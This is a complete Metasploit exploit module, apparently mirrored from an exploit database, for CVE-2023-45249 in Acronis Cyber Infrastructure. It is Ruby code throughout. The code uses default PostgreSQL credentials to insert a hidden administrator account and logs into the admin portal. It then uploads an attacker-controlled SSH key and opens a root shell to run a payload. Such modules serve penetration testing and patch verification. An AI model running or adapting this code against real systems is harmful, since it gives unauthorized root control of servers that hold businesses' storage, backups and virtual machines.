Share
## https://sploitus.com/exploit?id=1337DAY-ID-39768
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'sshkey'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include BCrypt
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Postgres
  include Msf::Exploit::Remote::SSH
  prepend Msf::Exploit::Remote::AutoCheck

  # ssh_socket
  attr_accessor :ssh_socket

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Acronis Cyber Infrastructure default password remote code execution',
        'Description' => %q{
          Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage,
          compute, and network resources. Businesses and Service Providers are using it for data storage,
          backup storage, creating and managing virtual machines and software-defined networks, running
          cloud-native applications in production environments.
          This module exploits a default password vulnerability in ACI which allow an attacker to access
          the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.
          This opens the door for the attacker to upload SSH keys that enables root access
          to the appliance/server. This attack can be remotely executed over the WAN as long as the
          PostgreSQL and SSH services are exposed to the outside world.
          ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,
          5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable.
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
          'Acronis International GmbH', # discovery
        ],
        'References' => [
          ['CVE', '2023-45249'],
          ['URL', 'https://security-advisory.acronis.com/advisories/SEC-6452'],
          ['URL', 'https://attackerkb.com/topics/T2b62daDsL/cve-2023-45249']
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Privileged' => true,
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Interactive SSH',
            {
              'Type' => :ssh_interact,
              'DefaultOptions' => {
                'PAYLOAD' => 'generic/ssh/interact'
              },
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'ssh_interact'
                }
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-07-24',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 8888,
          'USERNAME' => 'vstoradmin',
          'PASSWORD' => 'vstoradmin',
          'DATABASE' => 'keystone',
          'SSH_TIMEOUT' => 30,
          'WfsDelay' => 5
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the Acronis Cyber Infra application', '/']),
      OptPort.new('DBPORT', [true, 'PostgreSQL DB port', 6432]),
      OptPort.new('SSHPORT', [true, 'SSH port', 22]),
      OptString.new('PRIV_KEY_FILE', [false, 'SSH private key file in PEM format (ssh-keygen -t rsa -b 2048 -m PEM -f <priv_key_file>)', ''])
    ])
    register_advanced_options([
      OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])
    ])
  end

  # add an admin user to the Acronis PostgreSQL DB (keystone) using default credentials (vstoradmin:vstoradmin)
  def add_admin_user(username, userid, password)
    vprint_status("Creating admin user #{username} with userid #{userid}")

    # add new admin user to the user table
    res_query = postgres_query("INSERT INTO \"user\" VALUES(\'#{userid}\','{}','T',NULL,NULL,NULL,'default');", datastore['VERBOSE'])
    return false unless res_query.keys[0] == :complete

    # add new admin user to the local_user table
    res_query = postgres_query('SELECT * FROM "local_user" WHERE id = ( SELECT MAX (id) FROM "local_user" );', datastore['VERBOSE'])
    return false unless res_query.keys[0] == :complete

    id_luser = res_query[:complete].rows[0][0].to_i + 1
    res_query = postgres_query("INSERT INTO \"local_user\" VALUES(\'#{id_luser}\',\'#{userid}\','default',\'#{username}\',NULL,NULL);", datastore['VERBOSE'])
    return false unless res_query.keys[0] == :complete

    # hash the password
    password_hash = Password.create(password)
    today = Date.today
    vprint_status("Setting password #{password} with hash #{password_hash}")
    res_query = postgres_query('SELECT * FROM "password" WHERE id = ( SELECT MAX (id) FROM "password" );', datastore['VERBOSE'])
    return false unless res_query.keys[0] == :complete

    id_pwd = res_query[:complete].rows[0][0].to_i + 1
    res_query = postgres_query("INSERT INTO \"password\" VALUES(\'#{id_pwd}\',\'#{id_luser}\',NULL,'F',\'#{password_hash}\',0,NULL,DATE \'#{today}\');", datastore['VERBOSE'])
    return false unless res_query.keys[0] == :complete

    # Getting the admin roles and assign this to the new admin user
    vprint_status('Getting the admin roles')
    res_query = postgres_query("SELECT * FROM \"project\" WHERE name = 'admin' AND domain_id = 'default';", datastore['VERBOSE'])
    return false unless res_query.keys[0] == :complete

    id_project_role = res_query[:complete].rows[0][0]
    res_query = postgres_query("SELECT * FROM \"role\" WHERE name = 'admin';", datastore['VERBOSE'])
    return false unless res_query.keys[0] == :complete

    id_admin_role = res_query[:complete].rows[0][0]
    vprint_status("Assigning the admin roles: #{id_project_role} and #{id_admin_role}")
    res_query = postgres_query("INSERT INTO \"assignment\" VALUES('UserProject',\'#{userid}\',\'#{id_project_role}\',\'#{id_admin_role}\','F');", datastore['VERBOSE'])
    return false unless res_query.keys[0] == :complete

    vprint_status("Successfully created admin user #{username} with password #{password} to access the Acronis Admin Portal.")
    true
  end

  # create SSH session.
  # based on the ssh_opts can this be key or password based.
  # if login is successfull, return true else return false. All other errors will trigger an immediate fail
  def do_sshlogin(ip, user, ssh_opts)
    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        self.ssh_socket = Net::SSH.start(ip, user, ssh_opts)
      end
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, 'Timed out during negotiation')
    rescue Net::SSH::AuthenticationFailed
      return false
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
    end

    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
    return true
  end

  # login at the Acronis Cyber Infrastructure web portal
  def aci_login(name, pwd)
    post_data = {
      username: name.to_s,
      password: pwd.to_s
    }.to_json
    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'login'),
      'data' => post_data.to_s
    })
    return res&.code == 200
  end

  # returns cluster id or nil if not found
  def get_cluster_id
    res = send_request_cgi({
      'method' => 'GET',
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'clusters')
    })

    return unless res&.code == 200
    return unless res.body.include?('data') && res.body.include?('id')

    # parse json response and get the version
    res_json = res.get_json_document
    return if res_json.blank?

    res_json['data'].each do |cluster|
      return cluster['id'] unless cluster['id'].nil?
    end
  end

  # upload the SSH public key using the cluster_id defined at the Acronis Cyber Infrastructure web portal
  def upload_sshkey(sshkey, cluster_id)
    post_data = {
      key: sshkey.to_s,
      event:
      {
        name: 'SshKeys',
        method: 'post',
        data:
        {
          key: sshkey.to_s
        }
      }
    }.to_json
    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'uri' => normalize_uri(target_uri.path, 'api', 'v2', cluster_id.to_s, 'ssh-keys'),
      'data' => post_data.to_s
    })
    return true if res&.code == 202 && res.body.include?('task_id')

    false
  end

  def execute_command(cmd, _opts = {})
    Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) }
  rescue Timeout::Error
    @timeout = true
  end

  # return ACI version-release string or nil if not found
  def get_aci_version
    res = send_request_cgi({
      'method' => 'GET',
      'ctype' => 'application/json',
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'about')
    })

    return unless res&.code == 200
    return unless res.body.include?('storage-release')

    # parse json response and get the version
    res_json = res.get_json_document
    return if res_json.blank?

    version = res_json['storage-release']['version']
    return if version.nil?

    release = res_json['storage-release']['release']
    return if release.nil?

    "#{version}-#{release}".gsub(/[[:space:]]/, '')
  end

  def check
    version_release = get_aci_version
    return CheckCode::Unknown('Could not retrieve the version information.') if version_release.nil?
    return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.0.1-61')

    case version_release.split(/\.\d-/)[0]
    when '5.0'
      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.0.1-61')
    when '5.1'
      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.1.1-71')
    when '5.2'
      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.2.1-69')
    when '5.3'
      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.3.1-53')
    when '5.4'
      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.4.4-132')
    end
    CheckCode::Safe("Version #{version_release}")
  end

  def exploit
    # connect to the PostgreSQL DB with default credentials
    fail_with(Failure::Unreachable, "Can not connect to PostgreSQL DB on port #{datastore['DBPORT']}.") unless postgres_login({ port: datastore['DBPORT'] }) == :connected

    # add a new admin user
    username = Rex::Text.rand_text_alphanumeric(5..8).downcase
    userid = SecureRandom.hex
    password = Rex::Text.rand_password
    print_status("Creating admin user #{username} with password #{password} for access at the Acronis Admin Portal.")
    fail_with(Failure::BadConfig, "Adding admin credentials #{username}:#{password} failed.") unless add_admin_user(username, userid, password)

    # storing credentials at the msf database
    print_status('Saving admin credentials at the msf database.')
    store_valid_credential(user: username, private: password)

    # log out from the postsgreSQL DB
    postgres_logout if postgres_conn

    # create or use own SSH private key
    if datastore['PRIV_KEY_FILE'].blank?
      print_status('Creating SSH private and public key.')
      k = SSHKey.generate(comment: 'root')
    else
      print_status("Using your own SSH private key file: #{datastore['PRIV_KEY_FILE']} in PEM format.")
      fail_with(Failure::NotFound, "Can not find or open SSH private key file: #{datastore['PRIV_KEY_FILE']}") unless File.file?(File.expand_path(datastore['PRIV_KEY_FILE']))
      f = File.read(File.expand_path(datastore['PRIV_KEY_FILE']))
      k = SSHKey.new(f, comment: 'root')
    end
    vprint_status(k.private_key)
    vprint_status(k.ssh_public_key)

    # storing SSH public and private key at the msf database
    print_status('Saving SSH public and private key pair at the msf database.')
    store_valid_credential(user: 'ACI SSH public key', private: k.ssh_public_key)
    store_valid_credential(user: 'ACI SSH private key', private: k.private_key)

    # log in with the new admin user credentials at the Acronis Admin Portal
    fail_with(Failure::NoAccess, "Failed to authenticate at the Acronis Admin Portal with #{username} and #{password}") unless aci_login(username, password)

    # get cluster id to upload the SSH keys
    print_status('Getting the cluster information to upload the SSH public key at the Acronis Admin Portal.')
    cluster_id = get_cluster_id
    fail_with(Failure::NotFound, 'Can not find a cluster and retrieve the id.') if cluster_id.nil?

    # upload the public ssh key at the Acronis Admin Portal to enable root access via SSH
    print_status('Uploading SSH public key at the Acronis Admin Portal.')
    fail_with(Failure::NoAccess, 'Failed to upload SSH public key.') unless upload_sshkey(k.ssh_public_key, cluster_id)

    # login with SSH private key to establish SSH root session
    ssh_opts = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      key_data: [ k.private_key ],
      port: datastore['SSHPORT']
    })
    ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    print_status('Authenticating with SSH private key.')
    fail_with(Failure::NoAccess, 'Failed to authenticate with SSH.') unless do_sshlogin(datastore['RHOST'], 'root', ssh_opts)

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :ssh_interact
      handler(ssh_socket)
      return
    end
    @timeout ? ssh_socket.shutdown! : ssh_socket.close
  end
end